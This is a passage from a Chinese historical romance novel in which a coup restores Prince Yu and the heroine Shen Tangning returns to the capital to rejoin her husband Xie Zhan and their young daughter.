男人坐到萧砚的对侧,摘下头?上的兜帽,明亮之处,赫然?露出一张俊朗坚毅的面?庞。 “陈大人,深夜造访,不知所为何事?” 萧砚紧紧盯着眼前的陈慎。 陈慎说道:“承天门之变,羽林卫与金吾卫两大宿卫倒戈背叛了?太?子殿下,拥立梁王,然?梁王狼子野心,弑兄夺权,承天门之变乃是他?一手策划!太?子死后被废,连累萧侯爷也遭左迁,被逐出五军营,萧侯爷,你难道就?不想为废太?子报仇雪恨吗?” 萧砚曾为五军营都指挥使,梁王上台后贬斥了?萧砚,党同?伐异。 但太?子和萧砚的势力有些则隐藏在了?暗处,朱永福却一无所知,那?些在短时?间内被降职调任的将领们内心并不服梁王派来的这些关?系户。 萧砚闻言却是冷笑一声:“怎么,谢临远请你来做我的说客?陈大人,你凭什么以为我会帮他??他?与我萧仲昀有夺妻之恨,我心中至今恨不得将他?除之后快,岂会帮他?! “莫以为我不知他?打的什么主意,他?想要拥立豫王继位,陛下遭梁王囚禁,不得已立梁王为东宫,而我的长姐却生下了?废太?子唯一的子嗣!就?算是另立新君,那?个位置也绝轮不到豫王来做!” 陈慎说道:“萧侯爷,你可?还记得自己的侄儿今年?年?纪几何?一个六岁稚童,你要他?如何坐稳那?个天下至尊之位!” “如今国家内忧外患,外有漠北东西二契,东契的延啜自即汗位后便四处兼并各方异族,对辽东虎视眈眈,随时?有可?能发兵南下,而朝中有余公公和黄皓等奸佞小人谗言媚上,生死存亡之际,国家需要的是成熟而强有力的领导者,治国为君不是儿戏!” “陈恕己,你信不信我现在就?可?以杀了?你!” 萧砚怒目圆瞪,蓦地拔刀架到陈慎的颈上。 陈慎面?无惧色,反而慢慢站起来迎向刀光剑影。 “萧侯爷,自承袭爵位以来你便不惧生死,几次主动请缨去往前线,你并非膏粱无能之辈,相反,我知你心中有宏图大志,国家安稳与一己私欲,孰轻孰重,想必你心中自有定论。” “倘若来日皇孙继位,大周将长达十几年?没有强有力的君主,而豫王宅心仁厚,他?在陕西与河南就?藩之时?,藩地百姓无不称颂他?的恩德,来日若他?继位,必能善待几个兄弟子侄,包括小皇孙,我保证善始善终。” 直过?了?好一会儿,萧砚握剑的手紧攥成拳,却始终没有刺下去。 显然?,陈慎的话戳中了?他?的心事。 其实?他?心中也明白?,于国于民,拥立豫王都是最好的选择。 只是,只是他?不甘心! 不甘心此后一辈子便要将沈棠宁拱手相让,屈居于谢瞻之下。 所以他?主动求太?子将谢瞻先前执掌过?的五军营交给他?,他?想要和所有人证明他?萧仲昀并不比谢瞻做的差,甚至他?能做的比他?更好! 后来他?也确实?做到了?。 等到太?子即位之后,他?一母同?胞的长姐是太?子妃,是太?子最宠爱的女人,为太?子生下唯一的子嗣,日后则是母仪天下的皇后。 而那?时?他?便是新君的小舅子。 这三年?来,他?无时?无刻不想将沈棠宁重新夺回,他?不过?是在等,等谢瞻彻底消失在沈棠宁生命中的那?一刻。 萧砚闭目。 “咣当?”一声,他?手中的剑掉落在了?地上- 七日之后,朱永福还在等着三日后豫王进京。 殊不知,如今路上在赶路的那?个是豫王的替身,真正的豫王永祎,早已与谢瞻和伯都合兵一处。 在萧砚的帮助下,掌管安定城门的北城兵马指挥使上官丞倒戈,帮谢瞻与豫王的内应陈慎与姜磐打开了?安定城门。 三更一刻,陈慎与取来城门手令的姜磐一声令下,伴随着沉重的轰隆声,本应紧闭的安定城门却在此刻被人缓缓打开。 这一日的深夜,当?朱永福在东宫中与两个新纳的美人彻夜不眠玩乐之时?,忽听大殿之外传来一阵冗杂的刀戈之声。 朱永福推开两个美人,披衣匆匆走出殿外,询问发生了?何事,殿外他?两个亲卫连忙冲他大喊着跑了过来。 “不好了?,太?子殿下,叛军攻破了?安定门,叛军攻破了安定门!” 朱永福大惊失色,慌忙问:“叛军是谁,攻到了?何处!” “是豫王带领的契人骑兵,已经打进了?城里!” 朱永福也来不及作抵抗,被几个亲卫护送着就?往宫门逃窜去,到了东宫门口恰好遇到来保护他?的三千禁卫军。 朱永福勉强镇定下来,被幕僚的劝说之下,只好又软着腿被人架回了?东宫之中。 如今的五军营首领乃是朱永福的大舅哥,也就?是太?子妃的亲哥哥赵昶。 朱永福无能,赵昶却绝非泛泛之辈,一路重振旗鼓,领着众金吾卫与羽林卫、五军营三大宿卫便往安定门的方向杀去,一时?之间禁卫们竟士气大震,一路畅行无阻。 城中人人自危,关?闭门户。 火拼大约持续了?一个时?辰,在契人骑兵骁勇的攻势下,禁卫渐渐不敌,呈现颓败之相。 关?键时?刻,赵昶弃马飞奔登上附近的高台,目光在厮杀成一片的士卒们四处寻找。 终于,他?将目光锁定在正中那?一人的身上,弓弩对准了?他?的心口。 “铮”的细微一声。 谢瞻猛地回头?,瞳孔骤缩。 一支白?羽箭正从高楼之上悄无声息地朝着他?仰面?射来。 电光火石之际,斜刺里扑来一个人抱住谢瞻。 两人从马上跌下滚落,那?支白?羽箭狠狠地扎入了?那?人的小腿上。 赵昶眼见失手,转身欲逃,却已是为时?晚矣。 背后心射来的一箭,精准无误地完全贯穿了?他?的心口。 赵昶从高楼上轰然?坠落。 …… 千里之外的锦州城,沈棠宁却从梦中满头?大汗地惊醒。 她做了?一个噩梦,梦见谢瞻被一箭穿心…… 东方染上了?淡淡的蟹壳青,沈棠宁披着衣服坐在窗边,眺望着京都城的方向,默默垂泪。 这一个月的时?间,她无时?无刻不在担心谢瞻和京都城中家人们的安危,只要一有时?间,她便将自己关?在屋内抄写经书,时?常抄写到三更半夜。 或许是她的诚心感动了?上苍,在她做完噩梦的半个月后,京都城中终于传来了?接她入京的书信及信使。 沈棠宁急切地打开书信,谢瞻在信中说,他?一切无恙,随豫王以清君侧之名攻入京城中,朱永福已被褫夺太?子之位下狱,黄皓余公公等奸臣阉宦亦难逃惩处。 黄皓的儿子亲自去郭府求助郭尚,因郭尚当?年?能够中武举,乃至担任宁州卫指挥使曾是由他?的父亲推荐而来。 黄皓不是个忠谏之臣,但他?对郭尚确实?有一番知遇之恩,然?而他?不光蠹政害民,生活上又骄奢淫逸,更谗言迷惑隆德帝,陷害忠良,做出的这些种种事情,却实?在难以叫郭尚为他?求情。 最终,豫王与三法?司亲审黄皓,判处了?他?凌迟之刑。 目前宫中太?医正在全力医治中风的隆德帝,豫王则在众臣的拥护下暂摄监国之职,同?时?以谢瞻除奸有功之名官复原职。 沈棠宁喜极而泣。 来接她的人正是谢瞻的心腹长忠与姜磐。 三月底,在京都城海棠花即将盛放的日子里,沈棠宁收拾包裹,迫不及待地随着二人踏上了?返回京都之路。 与此同?时?,温氏与圆姐儿也在谢睿的护送之下回京。 不巧的是,沈棠宁途径永平府时?,恰逢辽河春汛,水流冲散了?桥梁,阻拦去路,中间生生耽误了?半个多月。 好容易等绕过?辽河,伯都又出顺天府来迎接她,兄妹两人在辽州碰面?,一路如何暂且不提。 待沈棠宁历经万难险阻来到京都城的时?候,已是五月中旬的初夏了?。 陌上暖风习习,杨柳依依,那?一日清晨她在城门外远远地便看见了?那?个骑于马上,翘首等待她的男子。 四目遥遥相对,谢瞻一眼便认出了?她,立即打马急速向她奔来。 那?一刻,她亦按捺不住激动的心情,想下马车立即迎他?,又想起什么似的,慌忙放下帏帘对镜整理仪容。 随着“嘚嘚”的马蹄声越来越近,她忍不住跳下马车,终于看清了?在耀眼明媚的熹光中踏着晨露向她飞奔而来的那?张神?采飞扬的英俊脸庞。 沈棠宁不由怔住。 三年?,整整三年?了?。 这是三年?来她第一次见他?露出这样快活肆意的笑容,仿佛又回到了?当?年?他?在马球场上以一当?十,鲜衣怒马的勃勃英姿。 直到谢瞻停在她的面?前,朝她伸出手,见沈棠宁依旧呆呆地,索性一把握住她的手腕,将她直接拉到了?马上。 随后调转马头?,向着城里家的方向纵马而去,将姜磐与长忠一行人远远落在了?身后。 他?的双手穿过?她纤细的腰肢,抓着马缰,沈棠宁整个人也被紧紧地箍在他?坚实?温热的胸膛之中, 清晨的街道没什么人,他?跑得却是飞快,像阵旋风一样,哪怕是拐弯抹角速度也不肯减缓半分。 沈棠宁的一颗心“砰砰”直蹦,随着身子的上下跌撞起伏,几乎要跳出嗓子眼儿,一时?也不知与他?说些什么,怕得不行的时?候只好抓着他?的手臂尖声嚷:“你慢些,慢些!” 谢瞻却在后面?哈哈大笑,笑得胸口都为之震动。 沈棠宁气得恨恨捶他?的手,又不觉也被他?感染露出笑容,真心欢喜,几番打闹,不知不觉间心头?的那?一缕愁绪与忐忑也烟消云散了?。 终于到了?镇国公府的明照坊。 “宁宁,我们回家了?。”谢瞻在她耳旁柔声道。 阔别了?三年?的镇国公府,沈棠宁没有想到,终有一日她还能光明正大地回家。 沿着灯市口大街缓缓拐入宽阔方正的坊门,遥遥便见一座气势宏伟的府门就?在不远处,沈棠宁的心也变得越来越紧张急促,下意识攥住谢瞻的手,浑身都僵硬了?起来。 从小巷里突然?咕溜溜地滚出一个圆圆的彩球,滚到了?路中央。 紧接着又探出个圆圆的小脑袋,一个六七岁梳着冲天辫,肌肤雪白?的小女娃迈着小短腿跑到路中央,捡起了?小彩球。 听到远处有动静,小女娃疑惑地抬起头?向远处望去。 晨光里,一个女子自一匹高大没有半分杂毛的骏马上敏捷地跳下来,几乎是两步并做一步就?飞快走到了?她的面?前,蹲下去温柔地看着她。 小女娃长大嘴巴,也瞪大了?一双葡萄般的凤眼,惊讶地看着眼前这个美丽的女人。 大约是孩子都喜欢美丽的事物,小女娃未怯生跑开,而是抽了?口气,目不转睛地打量了?沈棠宁起来,一时?连跟在沈棠宁身后的爹爹都没再放到眼中。 小女娃正沉迷于眼前漂亮姨姨的美貌之中,忽见她美眸中潸然?掉下泪来,纤纤柔荑颤抖着抚上她的脸蛋,一语不发地哭着。 “你怎么哭啦?” 小女娃急坏了?,连忙扭头?冲巷子里脆声声地叫道:“书书音音,漂亮姐姐哭啦,你们快来,你们快来看呀!” 谢瞻将她扶了?起来,揽入怀中,低声安抚。 锦书和韶音一大早就?带着圆姐儿在门口等候,刚刚她们早就?看见了?沈棠宁和谢瞻,只是不忍心打断母女相认的那?一刻,便悄悄躲在了?巷子里。 此时?听见圆姐儿叫她们,立即迫不及待地从巷子跑了?出来,对着沈棠宁哭着喊“姑娘”,一左一右扑入了?沈棠宁的怀中。 圆姐儿双眼瞪得滴溜溜大,懵懵懂懂中仿佛明白?了?什么。 冷不防一人将她抱举了?起来,她扭头?看去,男人给她扶了?扶发上耷下来的小辫子。 父女俩四目相对,圆姐儿眨巴眨巴凤眼,只听男人淡淡说道:“怎么,又忘了?叫什么?” 圆姐儿干干一笑,她有些害怕这个威严的爹爹,便怯怯小小地叫了?一声。 “爹爹。” 谢瞻摸了?摸女儿的小脑袋。 花厅里,王氏和谢璁早等了?好一会儿了?。 发现小孙女不在,王氏喊秦嬷嬷赶紧去找,秦嬷嬷刚跑出去又气喘吁吁地跑回来,指着门外上气不接下气地道:“回来了?!世子和世子夫人抱着圆姐儿回来了?!” 话音刚落,有人将软帘打起。 众人凝神?屏息,都纷纷伸着脖子看向帘外。 少顷,门外走进一个美貌的少妇。 她肤白?如雪,身穿白?底鹦哥绿的缠枝宝瓶妆花褙子,下身着一条绣着海棠花的曳地白?绸裙,莲步微移,与高大的男人缓缓走到人群中央,对着王氏和谢璁一并下跪叩首。 “好孩子,你快起来!这些年?你跟着阿瞻,受苦了?!” 王氏忙起身,含泪扶起地上的沈棠宁,仔细端详,只见手中的这双纤纤玉手似变得有些粗糙,到底不复往日的不沾阳春水的莹润纤细,不由一阵心酸心疼。 好在岁月仿佛并未在沈棠宁的脸上留下痕迹,反而令她的美褪去了?青涩,变得更加妩媚柔和。 大约是着急赶路,眼底略有憔悴消瘦之色,脸色却是红润,精神?看起来十分充足。 “团儿,从前是我们谢家对不住你,对你多有亏待,今日咱们一家人幸而能再次团圆,此乃上天恩德,亦是你蕙质兰心,对阿瞻不离不弃,这份恩情,我谢璁常记于心!” 谢璁说罢,竟起身朝着沈棠宁一拜。 沈棠宁一惊,忙虚扶道:“父亲?*莫要如此,这些儿媳应当?做的,何足挂齿!” 谢璁便顺势起身,与王氏一同?坐了?回去。 众人一看眼前这架势,便明白?往后沈棠宁在镇国公府的地位将再无人撼动了?。 谁能想到,她刚嫁入府内之时?,因身份落魄处处遭人奚落白?眼,不得不久居在深院之内。 但就?是这个看起来柔柔弱弱的小女人,却在丈夫被流放充军的时?候,她明明能够置身事外,拿着和离书和女儿远走高飞,却不顾一切只身千里追随。 老实?说,便是王氏自己,恐怕也不一定能够做到。 因此今日在场的座下众人,心底是真心敬佩沈棠宁,对她亦不再用从前的目光相待。 不光是王氏和谢璁,今日镇国公府内谢氏三房的儿郎媳妇都到齐了?迎接沈棠宁。 沈棠宁颇有些受宠若惊,她一面?同?妯娌蒋氏等人寒暄着,无意间看见了?人群之中坐在谢四郎身旁的青年?。 谢睿在静静地看她说话儿,见她突然?向他?的方向望过?来,他?一愣,慢慢红了?脸,动了?动唇,却又不知说些什么好。 沈棠宁冲他?微微一笑,目光继续转向蒋氏。 谢睿不敢再看她,一忽想到谢瞻曾经让他?发下的誓言,要他?对沈棠宁好,一忽又想到刚刚哥嫂进门时?两人紧握的双手。 他?苦涩地低下了?头?。 王氏想到沈棠宁一早赶路恐怕没有吃饭,打断了?众人的问话,给谢瞻使个眼色,让谢瞻领着沈棠宁先回去用早饭。 谢瞻抱起了?圆姐儿,另只手牵着沈棠宁,一家三口往静思院而去。 圆姐儿刚刚也在大厅之中,迷迷糊糊间好像听懂了?,眼前这个漂亮的姨姨是她的娘。 外祖母前几天才带着她从江宁回京都,乍住进镇国公府,圆姐儿很是不适应,幸亏有锦书和韶音日夜陪她。 而这个自称是她爹爹的男人,生得高大威严,只要他?回家就?会陪她玩耍,给她带几块窝丝糖解馋。 渐渐地,圆姐儿也就?接受了?男人是她爹爹的事实?。 现在,她又突然?多了?一个娘亲。 到了?屋里,谢瞻放下了?圆姐儿,让她到娘身边去,圆姐儿却躲到了?爹爹的大腿后,探出一颗毛茸茸的小脑袋。 她还有点害羞和害怕。 沈棠宁很是失望难受。 女儿不像小时?候那?样爱缠着她撒娇了?。 其实?她心里也明白?,她缺失亏欠的岂止是女儿三年?的童年?。 先是遭遇战乱,温氏帮她带了?将近一年?多的孩子,而后她又不得不忍痛抛下她去了?辽东。 这么多年?,她于女儿有生恩,却无养恩,就?算此时?此刻圆姐儿恨她,她也只能慢慢求得女儿谅解了?。 只是,知道是一回事,接受又是另外一回事。 幸好,以后,她便能日日与女儿呆在一处了?。 她的女儿,生得可?真漂亮,她看她第一眼,便奇异地有一种感觉:这是一定是她的圆姐儿,旁的女孩子都没有她的圆姐儿好看。 这般想着,沈棠宁心情又好受了?一些。 锦书和韶音牵着圆姐儿坐下,三人围着沈棠宁在一处,二婢欢快地和沈棠宁说着这三年?圆姐儿的趣事。 譬如小丫头?如今多重,胖成了?个米团子,恼得圆姐儿打岔纠正说她不是米团子,譬如她最爱吃什么,最爱吃葡萄酸杏,最喜欢在夜里听着外祖母搂着讲故事入睡…… 谢瞻看妻子听得津津有味,盯着女儿满眼放光,再容不下旁人,便没有打扰他?,坐到了?明间里静静等着。 直说了?好一会儿,沈棠宁浑然?不觉时?间,都不记得吃饭了?,忽锦书拽了?一下还在喋喋不休兴头?上的韶音。 二婢对视一眼。 韶音咳嗽一声,也不再说话了?。 “这是怎么了??”沈棠宁不解。 锦书瞅了?一眼明间里端坐的人影,沉默片刻,支支吾吾道:“世子夫人,您还是去看看世子吧,兴许他?有什么话对您说。” 沈棠宁这才想起谢瞻来。 她还以为他?有事离开了?。 她起了?身,锦书和韶音便很有眼力见地抱着圆姐儿退了?出去。 “你还有事对我说?” 沈棠宁走到谢瞻坐的玫瑰椅前,见他?冲她张开双手,抬脸微微笑着,便甜蜜地扑坐进他?的怀里,疑惑地道。 谢瞻抚摸着她的脸庞,夫妻俩分别了?两个多月,刚刚当?着那?么多人的面?,他?没法?与她亲近温存。 眼下身边终于没了?多余的旁人,他?看着她,抬起她的下巴,而后慢慢低下头?,衔住了?她的柔软的唇瓣。 先是缱绻地吮缠着,在得到她羞涩的回应之后,热情地一下抵到了?她的口中。 沈棠宁伸出双臂,紧紧地搂住他?的颈。 这种久违的亲密感,因着内心如释重负的喜悦,令沈棠宁浑身如触电一般地激荡酥麻,好似在他?怀中软成了?一滩水。 她情不自禁地轻轻握住,不觉脸庞羞红如火。 正当?她欲要再进一步时?,谢瞻却按住了?沈棠宁的手。 “宁宁!” 沈棠宁抬起迷离的眼。 谢瞻低低地道:“宁宁,我……” 顿了?下,捧着她的脸,歉疚地道:“东契的延啜趁辽东兵力空虚,亲自领兵进犯我辽东边境,太?子殿下命我挂帅出征,驱逐延啜,半个时?辰后我便要离开了?。” 沈棠宁呆住。 “宁宁,对不起,我也想你,想你和女儿……” 谢瞻抚摸着她湿润的唇,朝她压来,沈棠宁偏过?了?头?去。 谢瞻皱了?眉,继续捧住她的脸,向她亲去,沈棠宁推开他?的头?。 “宁宁!” “我怎样!”她瞪着他?叱道。 沈棠宁感到前所未有的愤怒和委屈,她被谢瞻欺骗了?! 他?离开的这两个多月里她没有一天不是生活在恐惧和忐忑之中。 不,从他?答应周存和吴准帮他?们两人对付东契人的那?个时?候起她就?整日担惊受怕。 好不容易终于摆脱了?那?些噩梦,好不容易终于等到一家三口团聚,他?说过?要她等他?的,她也忍着心里的种种不舍送走了?他?,她都做到了?,可?是她刚到回家,他?却又要离开! 这样一眼望不头?,永远都是在等待的日子,她实?在讨厌,她过?够了?!她宁愿谢瞻只是枣子村里的一个猎户! 沈棠宁强忍着泪水瞪他?道:“我怎样了?!谢临远,你走啊,我不拦着你,我从来不拦着你!你走了?就?别回来!” 她从他?身上挣扎着跳下来,谢瞻按住她的双肩,从背后搂住她。 “宁宁,你别这样,我们再说会儿话好不好?” “我不要!我讨厌你,我讨厌你!我不要再见到你,你现在就?走啊!” 沈棠宁恨恨地捶打着他?,不知道哪里来的力气扯开谢瞻搂在她腰间的手,飞奔到里间,趴到床上伤心地大哭起来。 谢瞻追着她走到床边,默默地看着她悲愤啜泣。 他?唇动了?动,想说什么,又闭嘴。最后上床搂住她,刚张嘴哄了?两句,得到她三四个巴掌之后,悻悻地下了?床。 “宁宁,我走了?。” 谢瞻说罢,看了?眼外面?的天色,时?辰已是不早了?,又看了?眼床上哭得双肩抖个不停,没有要理睬他?迹象的沈棠宁,叹了?口气,果断地转身走了?。 沈棠宁哭毕,身旁没了?动静,猛地抬头?一看,床前人空空。 她急忙下床追出去,却见偌大的静思院哪里还有谢瞻的影子。 “世子呢!” “世子刚走了?!”锦书忙回答她道。 沈棠宁扶着门框,眼中的泪水再度委屈地涌了?出来,模糊了?她的视线。 谢瞻,他?不爱她了?么…… 因为她说了?几句重话,因为她突然?的情绪失态。她怎么会说出那?些话来,她怎么刚刚好像变了?个人似的? 她明明,明明也是很想念他?的…… 锦书上前来扶住了?她,将她扶进了?屋里。 “姑娘,军情紧急,世子也是无奈之举,你不知道,他?这几日都不在府里,收到信说您今日能到,他?昨夜半夜从宫中回来,半宿没有睡,忙着让人收拾两个院子,就?为了?迎你回来,一大早又出门去城门外等您了?……” 沈棠宁心中更加难过?了?。 难过?归难过?,她刚回到家中,一切的事情都需要重新熟悉。 锦书和韶音告诉她,她们一行是由七郎谢睿护送着回的京都,但因为春汛,沈棠宁在永平府耽搁了?半月。 故而虽然?镇江路远,他?们一行却比沈棠宁更早到达京都,不过?也只是提前了?三日而已。 在她回途的半路上,隆德帝便清醒了?过?来,下召治了?黄皓及梁王等人谋反之罪,黄皓在菜市口斩首示众,黄家夷三族。 梁王废去藩王之衔,囚禁于西宫到死,其余参与谋反案的人员则通通按照律法?治罪。 册立豫王为太?子,并命太?子彻查废太?子谋反一案。 至于谢瞻贻误军机一案,由西契的枢密院副使执失伯都带着默答汗与察兰汗妃的书信亲自陈情,证实?了?当?夜的西契士兵反水乃是西契的丞相土勒一手策划,与谢瞻无关?,命谢瞻官复原职。 另将先前污蔑谢瞻通敌叛国的御史赵川及黄皓同?党等人一一下狱, 一天前太?子接到线报延啜果真按捺不住,趁着大周朝政不稳领兵侵扰我辽东边境。 太?子看到线报后勃然?大怒,本要亲征辽东,后被众人劝阻下来,令谢瞻为主将,郭尚为副帅,率十万大军北征东契。 谢瞻是主将,亦是先锋,因此他?早早便离开了?。 第二日一早,同?为副帅的伯都来看望沈棠宁,兄妹二人一道领着圆姐儿一起回了?牛角胡同?看望温氏。 伯都说出自己幼年?之事,都能与温氏记忆中一一对上,待伯都吹响那?首沈弘彰教给他?的熟悉的牧马曲时?,温氏终于认出了?儿子。 伯都跪在地上,给温氏磕了?三个头?。 一家三口相认,除了?伯都尚且能控制自己的情绪,沈棠宁和温氏都哭成了?泪人。 温氏问伯都的打算,伯都说他?准备这次攻打延啜完毕便回一趟东契,辞去枢密院副使一职。 从今往后,他?要在京都城好好地守着温氏,奉养温氏的余生。 温氏算算长子的年?纪,至今已经二十有八,急忙问他?可?有婚娶子嗣。 伯都闻言脸上可?疑地闪过?一丝窘迫尴尬,继而愧疚低头?。 二十岁那?年?他?由察兰汗妃做主娶了?汗妃族中的一名贵女纪氏为妻,夫妻倒也恩爱,未有子嗣,可?惜婚后不到两年?妻子便患病去了?。 温氏大为心疼,沈棠宁脑中却不由闪过?了?在宁远时?乌伦珠公主与哥哥之间亲昵的姿态,根本不像是兄妹之间正常的亲近。 只是这位乌伦珠公主,年?纪好似小哥哥许多,且还是他?名义上的妹妹…… 果然?,下一句伯都便说道:“一直没有找到机会和您说,因那?时?婚事还没有定下来,但在儿回家之前,汗妃便为儿定下了?一门亲事。” “是谁?” 温氏闻言顿时?又惊又喜,“既然?是汗妃娘娘定下的亲事,那?女孩儿定然?差不到哪里去!” 伯都说道:“她便是汗妃的小女儿,西契王庭的乌伦珠公主。” …… 伯都婚事谈罢,因他?急着翌日离开,一家人便只叫上温济淮一家吃了?个阖家团圆饭,当?日伯都便离开了?去了?他?眼下下榻的驿馆。 谢瞻和伯都这一走,便从初夏过?了?整整一季。 转眼过?了?八月十五中秋节,谢瞻却依旧没有要回来的迹象,每月只从前线给沈棠宁捎送一份家信。 虽然?他?离开那?日两人大吵了?一架,但是在信上字里行间,谢瞻颇有做低伏小的求和之意。 延啜继位之初,野心勃勃,并非无能之人。 所幸战况进展大部分是有利于我朝,这三个月里,女儿跟她逐渐亲近起来,沈棠宁心情愉悦上许多,一面?等着谢瞻,一面?接了?府内的中馈之权,跟着王氏打理府中事务,忙得也是团团转。 九月里的一个艳阳天,这日是重阳节,她陪着王氏去普济寺中为谢瞻祈福。 祈福完毕,王氏疲倦,便在净室中暂歇,沈棠宁不知为何却不累,便只携了?锦书去了?普济寺的后院,命锦书等在院门处,她则去了?后院她常坐的露台之上。 露台颇高,坐于露台之上,可?以眺到整个寺院后山的山林美景。 沈棠宁出神?发了?会儿呆,渐渐觉得有几分冷意,看着天色也不早了?,起身打道回府。 正懒懒地坐着不想起,忽听身后传来一阵沉稳的脚步声,隐约夹杂着锦书和一个男人低低的对话声。 沈棠宁的心,登时?如小鹿一般急速跳动了?起来。 算算日子,谢瞻的确在这两天回来了?。 她从台上爬起来,提着裙子跑上去数十层的台矶,踉跄一下,又站稳了?向着门口跑去。 跑了?几步,却被定住一般停了?下来,怔怔看着门口那?屹立的高大的男人身影。 一阵微风袭来,轻轻拂于她的面?上。 头?顶上的金桂花一粒粒掉落在脚底的小径上。 在柔和的秋风之中,男人踩着一径的树影和金桂花瓣,快步来到了?沈棠宁的面?前,深深凝视着她。 “宁宁,我回来了?。” 他?呲牙一笑,露出满口森森白?牙,忽张开双臂,将无声落泪的她紧紧拥入了?怀中。